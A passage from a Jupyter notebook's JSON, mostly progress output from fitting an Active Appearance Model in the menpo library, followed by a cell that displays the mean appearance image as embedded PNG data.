Warping images - 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 100%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Building appearance model" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Done\n" ] } ], "prompt_number": 15 }, { "cell_type": "code", "collapsed": false, "input": [ "from menpofast.image import Image\n", "\n", "Image(aam.appearance_models[0].mean().pixels[5, 0]).view()" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 17, "text": [ "<menpo.visualize.viewmatplotlib.MatplotlibImageSubplotsViewer2d at 0x7faf141c2d90>" ] }, { "metadata": {}, "output_type": "display_data", "png": "iVBORw0KGgoAAAANSUhEUgAAAWwAAADhCAYAAADsxo8LAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJztvUuOIztw/U3VQ1X9vB56D554BZ56Hd6NJwY899Q7MGD8\nZwa8Aa/Ft7vrqSp9g4ujPvrpBDP1qu76zAASmZJSTDIYPHEiyMxcrNfrNmTIkCFDfn+5+NUVGDJk\nyJAh82QA9pAhQ4a8ExmAPWTIkCHvRAZgDxkyZMg7kQHYQ4YMGfJOZAD2kCFDhrwTGYA9ZMiQIe9E\nBmAPGTJkyDuRq3MV/E//9E+bO3IuLi7aYrHY7F9fX7c23byzWCy6Zeq89Xq9c/z6+tqenp7a8/Pz\nzt63l5eXtlqt2svLS3t9fW1XV1db24cPH3a229vbdnt7uzleLpft5uam3dzctOVy2a6vr7fKuLy8\n3Nlru7i4aJeXl5u2/sM//EO/0UH+5V/+ZS29qh7aXl5etjbXsfbsj+vr6822XC7b1dXVpp6q82Kx\n2NqoN2+jt7P67DrwfqdtrFartlqtNv23Wq222vL6+rpjG5K/+7u/21u3rbX23//932vVS3rSxmup\nntS1n6f/uh6oO53D6/l/aVPp2t7vGgO+3d/ft4eHh3Z/f9/u7+/b4+Nje3x8bA8PD+3x8bE9Pz9v\njan1er1V5svLy6Zd//qv/7q3fv/nf/5n60499j371o9fXl522uM2JN3JvmTHtCm1RziwXq+39N5a\n2zlHOvM968LreJ1YNx27DlwX//Zv/xZ1ezbATiLF+GcfYFN3XfJ3daZ3Lh0BO35q4/+rctKxtouL\ni7L8Oe2cK0mXVdmpHjKq1JbFYtEtL9XFtwTyUw65kl95N+6hdT7V9ai7VJ9Kz6k/qn5JfaRjt2cd\nn6utc8qeo5PWdm2+t7m96zjhiTvkVB/pWFLp2x30VDtc3hSwW9tmxFMgk/7LMtxrVsxaLE3e0hk2\nxc99fn5uV1dX7fn5eYctuvFXbTgX0LhB6DpkWtQvjc8lnXt1dbUV+XCwJ3EWIXbjzNKNlPWfkuRw\ndE0fZOcAWB9oVV2nQEPHc66RGHba0vVJgNQX6lOy+9VqtcP6CM4iIWKrxwjr7fV3VjqlZwKjt9kj\nr0Tk0jhRmbIhRnXCFGKHdHZ9fR3HGJ0lI9N9Sc2bADaVT3A4BLBd8QJhAraUTsDW+W58qg8NOoX7\n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\nEbfWftpHqi/bNgXYfjwF2Nq0PJLYoptr